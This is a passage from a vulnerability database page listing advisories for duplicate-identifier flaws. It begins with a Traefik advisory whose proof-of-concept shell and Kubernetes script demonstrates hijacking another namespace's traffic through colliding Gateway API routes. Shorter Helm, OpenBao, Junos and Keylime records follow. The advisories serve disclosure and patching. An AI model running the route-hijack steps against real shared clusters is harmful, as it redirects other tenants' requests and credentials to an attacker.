name: team\n---\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: team-a\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: traefik-audit\n  namespace: gateway\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: traefik-route-collision-lab\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: ClusterRole\n  name: cluster-admin\nsubjects:\n- kind: ServiceAccount\n  name: traefik-audit\n  namespace: gateway\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: traefik-audit\n  namespace: gateway\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: traefik-audit\n  template:\n    metadata:\n      labels:\n        app: traefik-audit\n    spec:\n      serviceAccountName: traefik-audit\n      containers:\n      - name: traefik\n        image: traefik:v3.7.8\n        args:\n        - --entryPoints.web.address=:8000\n        - --providers.kubernetesgateway=true\n        - --global.checkNewVersion=false\n        - --global.sendAnonymousUsage=false\n        - --log.level=ERROR\n        ports:\n        - name: web\n          containerPort: 8000\n---\napiVersion: gateway.networking.k8s.io/v1\nkind: GatewayClass\nmetadata:\n  name: traefik-route-collision-lab\nspec:\n  controllerName: traefik.io/gateway-controller\n---\napiVersion: gateway.networking.k8s.io/v1\nkind: Gateway\nmetadata:\n  name: shared\n  namespace: gateway\nspec:\n  gatewayClassName: traefik-route-collision-lab\n  listeners:\n  - name: web\n    protocol: HTTP\n    port: 8000\n    allowedRoutes:\n      namespaces:\n        from: All\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: victim\n  namespace: team\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: victim\n  template:\n    metadata:\n      labels:\n        app: victim\n    spec:\n      containers:\n      - name: echo\n        image: hashicorp/http-echo:1.0.0\n        args: [\"-listen=:5678\", \"-text=VICTIM_BACKEND\"]\n        ports:\n        - containerPort: 5678\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: backend\n  namespace: team\nspec:\n  selector:\n    app: victim\n  ports:\n  - port: 80\n    targetPort: 5678\n---\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: a-app\n  namespace: team\nspec:\n  parentRefs:\n  - name: shared\n    namespace: gateway\n  hostnames: [\"collision.example\"]\n  rules:\n  - matches:\n    - path:\n        type: PathPrefix\n        value: /\n    backendRefs:\n    - name: backend\n      port: 80\nYAML\n\nkubectl -n gateway rollout status deployment/traefik-audit --timeout=120s\nkubectl -n team rollout status deployment/victim --timeout=120s\n\nkubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \\\n  \u003e/dev/null 2\u003e\u00261 \u0026\nPORT_FORWARD_PID=$!\ntrap \u0027kill \"$PORT_FORWARD_PID\" 2\u003e/dev/null || true\u0027 EXIT\n\nfor _ in $(seq 1 60); do\n  RESPONSE=$(curl -sS -H \u0027Host: collision.example\u0027 \\\n    http://127.0.0.1:18080/ 2\u003e/dev/null || true)\n  if [ \"$RESPONSE\" = \"VICTIM_BACKEND\" ]; then\n    break\n  fi\n  sleep 1\ndone\nprintf \u0027before collision: %s\\n\u0027 \"$RESPONSE\"\n\nsleep 2\n\nkubectl apply -f - \u003c\u003c\u0027YAML\u0027\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: attacker\n  namespace: team-a\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: attacker\n  template:\n    metadata:\n      labels:\n        app: attacker\n    spec:\n      containers:\n      - name: echo\n        image: hashicorp/http-echo:1.0.0\n        args: [\"-listen=:5678\", \"-text=ATTACKER_BACKEND\"]\n        ports:\n        - containerPort: 5678\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: backend\n  namespace: team-a\nspec:\n  selector:\n    app: attacker\n  ports:\n  - port: 80\n    targetPort: 5678\nYAML\n\nkubectl -n team-a rollout status deployment/attacker --timeout=120s\n\nkubectl apply -f - \u003c\u003c\u0027YAML\u0027\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: app\n  namespace: team-a\nspec:\n  parentRefs:\n  - name: shared\n    namespace: gateway\n  hostnames: [\"collision.example\"]\n  rules:\n  - matches:\n    - path:\n        type: PathPrefix\n        value: /\n    backendRefs:\n    - name: backend\n      port: 80\nYAML\n\nfor _ in $(seq 1 60); do\n  RESPONSE=$(curl -sS -H \u0027Host: collision.example\u0027 \\\n    http://127.0.0.1:18080/ 2\u003e/dev/null || true)\n  if [ \"$RESPONSE\" = \"ATTACKER_BACKEND\" ]; then\n    break\n  fi\n  sleep 1\ndone\nprintf \u0027after collision:  %s\\n\u0027 \"$RESPONSE\"\n\nkubectl get httproute -A --sort-by=.metadata.creationTimestamp\n```\n\nExpected output on v3.7.8:\n\n```text\nbefore collision: VICTIM_BACKEND\nafter collision:  ATTACKER_BACKEND\nNAMESPACE   NAME    HOSTNAMES\nteam        a-app   [\"collision.example\"]\nteam-a      app     [\"collision.example\"]\n```\n\nThe first Route is older, but creating the second Route changes existing\nvictim traffic to the attacker backend. The same test was also run with the\nofficial standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster.\nThe release archive had SHA-256\n`dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`.\n\n## Impact\n\nIn a shared Gateway deployment, a Route author can hijack requests belonging\nto another namespace when the object names admit a collision. Requests,\ncredentials, authorization headers, and response data can be delivered to an\nattacker-controlled backend. The attacker can also return forged application\ncontent or accept state-changing requests intended for the victim. The\nfavorable naming relationship and accepted shared Gateway are reflected in\nthe high attack-complexity rating.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-fgjj-px3w-67xx",
  "modified": "2026-08-06T16:38:18Z",
  "published": "2026-08-06T16:38:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13580"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.25"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Traefik: Gateway API route identity collision allows cross-namespace backend hijacking"
}

GHSA-JM56-5H66-W453

Vulnerability from github – Published: 2021-05-24 16:57 – Updated: 2023-10-02 13:35
VLAI
Summary
Repository index file allows for duplicates of the same chart entry in helm
Details

Impact

During a security audit of Helm's code base, security researchers at Trail of Bits identified a bug in which the a Helm repository can contain duplicates of the same chart, with the last one always used. If a repository is compromised, this lowers the level of access that an attacker needs to inject a bad chart into a repository.

To perform this attack, an attacker must have write access to the index file (which can occur during a MITM attack on a non-SSL connection).

Specific Go Packages Affected

helm.sh/helm/v3/pkg/repo

Patches

This issue has been patched in Helm 3.3.2 and 2.16.11

Workarounds

  • do not install charts from repositories you do not trust
  • fetch charts using a secure channel of communication (such as TLS)
  • use helm pull to fetch the chart, then review the chart’s content (either manually, or with helm verify if it has been signed) to ensure it has not been tampered with
  • manually review the index file in the Helm repository cache before installing software.
Severity
2.2 (Low)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "helm.sh/helm/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "helm.sh/helm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.16.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-15185"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-694",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-24T16:47:58Z",
    "nvd_published_at": "2020-09-17T22:15:00Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nDuring a security audit of Helm\u0027s code base, security researchers at Trail of Bits identified a bug in which the a Helm repository can contain duplicates of the same chart, with the last one always used. If a repository is compromised, this lowers the level of access that an attacker needs to inject a bad chart into a repository.\n\nTo perform this attack, an attacker must have write access to the index file (which can occur during a MITM attack on a non-SSL connection).\n\n### Specific Go Packages Affected\nhelm.sh/helm/v3/pkg/repo\n\n### Patches\n\nThis issue has been patched in Helm 3.3.2 and 2.16.11\n\n### Workarounds\n\n- do not install charts from repositories you do not trust\n- fetch charts using a secure channel of communication (such as TLS)\n- use `helm pull` to fetch the chart, then review the chart\u2019s content (either manually, or with `helm verify` if it has been signed) to ensure it has not been tampered with\n- manually review the index file in the Helm repository cache before installing software.",
  "id": "GHSA-jm56-5h66-w453",
  "modified": "2023-10-02T13:35:50Z",
  "published": "2021-05-24T16:57:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/security/advisories/GHSA-jm56-5h66-w453"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15185"
    },
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/commit/055dd41cbe53ce131ab0357524a7f6729e6e40dc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/commit/6aab63765f99050b115f0aec3d6350c85e8da946"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Repository index file allows for duplicates of the same chart entry in helm"
}

GHSA-JP7H-4F3C-9RC7

Vulnerability from github – Published: 2025-10-23 16:01 – Updated: 2025-10-23 16:01
VLAI
Summary
OpenBao AWS Plugin Vulnerable to Cross-Account IAM Role Impersonation in AWS Auth Method
Details

Impact

This is a cross-account impersonation vulnerability in the auth-aws plugin. The vulnerability allows an IAM role from an untrusted AWS account to authenticate by impersonating a role with the same name in a trusted account, leading to unauthorized access.

This impacts all users of the auth-aws plugin who operate in a multi-account AWS environment where IAM role names may not be unique across accounts.

The core of the vulnerability is a flawed caching mechanism that fails to validate the AWS Account ID during authentication. While the use of wildcards in a bound_iam_principal_arn configuration significantly increases the attack surface, wildcards are not a prerequisite for exploitation. The vulnerability can be exploited with specific ARN bindings if a role name collision occurs.

Successful exploitation can lead to unauthorized access to secrets, data exfiltration, and privilege escalation. Given that the only prerequisite is a duplicate role name, the severity is considered high.

Patches

This vulnerability has been patched in version 0.1.1 of the auth-aws plugin. Users are advised to upgrade to version 0.1.1 or later to remediate this vulnerability.

Workarounds

For users who are unable to upgrade to version 0.1.1 immediately, the most effective workaround is to guarantee that IAM role names are unique across all AWS accounts that could potentially interact with your OpenBao environment. This is the most critical mitigation step.

Primary Mitigation: Audit your AWS organizations to identify and rename any duplicate IAM role names. Enforce a naming convention that includes account-specific identifiers to prevent future collisions.

While removing wildcards from your bound_iam_principal_arn configuration is still recommended as a security best practice, it will not mitigate this vulnerability if duplicate role names exist.

Credits

This vulnerability was discovered and reported by Pavlos Karakalidis

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openbao/openbao-plugins"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59048"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-694",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-23T16:01:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nThis is a cross-account impersonation vulnerability in the `auth-aws` plugin. The vulnerability allows an IAM role from an untrusted AWS account to authenticate by impersonating a role with the **same name** in a trusted account, leading to unauthorized access.\n\nThis impacts all users of the `auth-aws` plugin who operate in a multi-account AWS environment where IAM role names may not be unique across accounts.\n\nThe core of the vulnerability is a flawed caching mechanism that fails to validate the AWS Account ID during authentication. While the use of wildcards in a `bound_iam_principal_arn configuration` significantly increases the attack surface, **wildcards are not a prerequisite for exploitation**. The vulnerability can be exploited with specific ARN bindings if a role name collision occurs.\n\nSuccessful exploitation can lead to unauthorized access to secrets, data exfiltration, and privilege escalation. Given that the only prerequisite is a duplicate role name, the severity is considered **high**.\n\n### Patches\nThis vulnerability has been patched in version **0.1.1** of the `auth-aws` plugin.\nUsers are advised to upgrade to version **0.1.1** or later to remediate this vulnerability.\n\n### Workarounds\nFor users who are unable to upgrade to version **0.1.1** immediately, the most effective workaround is to **guarantee that IAM role names are unique across all AWS accounts** that could potentially interact with your OpenBao environment. This is the most critical mitigation step.\n\n**Primary Mitigation**: Audit your AWS organizations to identify and rename any duplicate IAM role names. Enforce a naming convention that includes account-specific identifiers to prevent future collisions.\n\nWhile removing wildcards from your `bound_iam_principal_arn` configuration is still recommended as a security best practice, it **will not** mitigate this vulnerability if duplicate role names exist.\n\n### Credits\nThis vulnerability was discovered and reported by [Pavlos Karakalidis](https://github.com/pkarakal/)",
  "id": "GHSA-jp7h-4f3c-9rc7",
  "modified": "2025-10-23T16:01:27Z",
  "published": "2025-10-23T16:01:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao-plugins/security/advisories/GHSA-jp7h-4f3c-9rc7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao-plugins/commit/2a77af36834746ca6d3ac9bd1049154c84b3efae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openbao/openbao-plugins"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenBao AWS Plugin Vulnerable to Cross-Account IAM Role Impersonation in AWS Auth Method"
}

GHSA-M4XF-X7W2-QGFQ

Vulnerability from github – Published: 2026-07-10 00:31 – Updated: 2026-07-10 00:31
VLAI
Details

A Use of Multiple Resources with Duplicate Identifier vulnerability in the IKE daemon (iked) of Juniper Networks Junos OS on MX with SPC3 and SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).

On an MX with SPC3 and SRX devices configured for VPN service, when a large number of VPN negotiations fail a peer index rollover will eventually occur. As a result, new peers are assigned index values that are already in use and the iked process starts to crash repeatedly. This results in failure to establish new VPN connections and rekeying existing ones. To restore service the system must be rebooted. Please note that the index value can't be monitored, so customers should monitor tunnel up and down events and if a lot of events occur over an extended period of time it becomes likely that this issue occurs.

To be exposed to this issue the system needs to run iked (vs. kmd which is not affected), which can be verified with:

user@host> show system processes extensive | match "KMD|IKED" This issue affects Junos OS on MX with SPC3, SRX Series:

  • all versions before 23.2R2-S7,
  • 23.4 versions before 23.4R2-S6,
  • 24.2 versions before 24.2R2-S3,
  • 24.4 versions before 24.4R2-S4,
  • 25.2 versions before 25.2R1-S1.
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/AU:Y/R:U/RE:M
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-57024"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-694"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-09T22:17:07Z",
    "severity": "MODERATE"
  },
  "details": "A Use of Multiple Resources with Duplicate Identifier vulnerability in the IKE daemon (iked) of Juniper Networks Junos OS on MX with SPC3 and SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS).\n\n\n\nOn an MX with SPC3 and SRX devices configured for VPN service, when a large number of VPN negotiations fail\u00a0a peer index rollover will eventually occur. As a result, new peers are assigned index values that are already in use and the iked process starts to crash repeatedly. This results in failure to establish new VPN connections and rekeying existing ones. To restore service the system must be rebooted.\nPlease note that the index value can\u0027t be monitored, so customers should monitor tunnel up and down events and if a lot of events occur over an extended period of time it becomes likely that this issue occurs.\n\nTo be exposed to this issue the system needs to run iked (vs. kmd which is not affected), which can be verified with:\n\nuser@host\u003e show system processes extensive | match \"KMD|IKED\"\nThis issue affects Junos OS on MX with SPC3, SRX Series:\n\n\n  *  all versions before 23.2R2-S7,\n  *  23.4 versions before 23.4R2-S6,\n  *  24.2 versions before 24.2R2-S3,\n  *  24.4 versions before 24.4R2-S4,\n  *  25.2 versions before 25.2R1-S1.",
  "id": "GHSA-m4xf-x7w2-qgfq",
  "modified": "2026-07-10T00:31:26Z",
  "published": "2026-07-10T00:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57024"
    },
    {
      "type": "WEB",
      "url": "https://supportportal.juniper.net/JSA110084"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XH5W-G8GQ-R3V9

Vulnerability from github – Published: 2025-11-24 18:31 – Updated: 2026-05-29 20:50
VLAI
Summary
Keylime allows users to register new agents by recycling existing UUIDs when using different TPM devices
Details

A vulnerability has been identified in keylime where an attacker can exploit this flaw by registering a new agent using a different Trusted Platform Module (TPM) device but claiming an existing agent's unique identifier (UUID). This action overwrites the legitimate agent's identity, enabling the attacker to impersonate the compromised agent and potentially bypass security controls.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "keylime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-13609"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-694"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-26T19:32:37Z",
    "nvd_published_at": "2025-11-24T18:15:49Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in keylime where an attacker can exploit this flaw by registering a new agent using a different Trusted Platform Module (TPM) device but claiming an existing agent\u0027s unique identifier (UUID). This action overwrites the legitimate agent\u0027s identity, enabling the attacker to impersonate the compromised agent and potentially bypass security controls.",
  "id": "GHSA-xh5w-g8gq-r3v9",
  "modified": "2026-05-29T20:50:19Z",
  "published": "2025-11-24T18:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13609"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keylime/keylime/issues/1820"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keylime/keylime/pull/1785"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keylime/keylime/commit/e1ae8de1f7b1385eaeec66572a92ff1338e6e157"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23201"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23210"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23628"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23735"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23852"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:0429"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-13609"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2416761"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keylime/keylime"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keylime/keylime/releases/tag/v7.13.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/keylime/PYSEC-2025-77.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Keylime allows users to register new agents by recycling existing UUIDs when using different TPM devices"
}
Mitigation
Architecture and Design

Where possible, use unique identifiers. If non-unique identifiers are detected, then do not operate any resource with a non-unique identifier and report the error appropriately.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list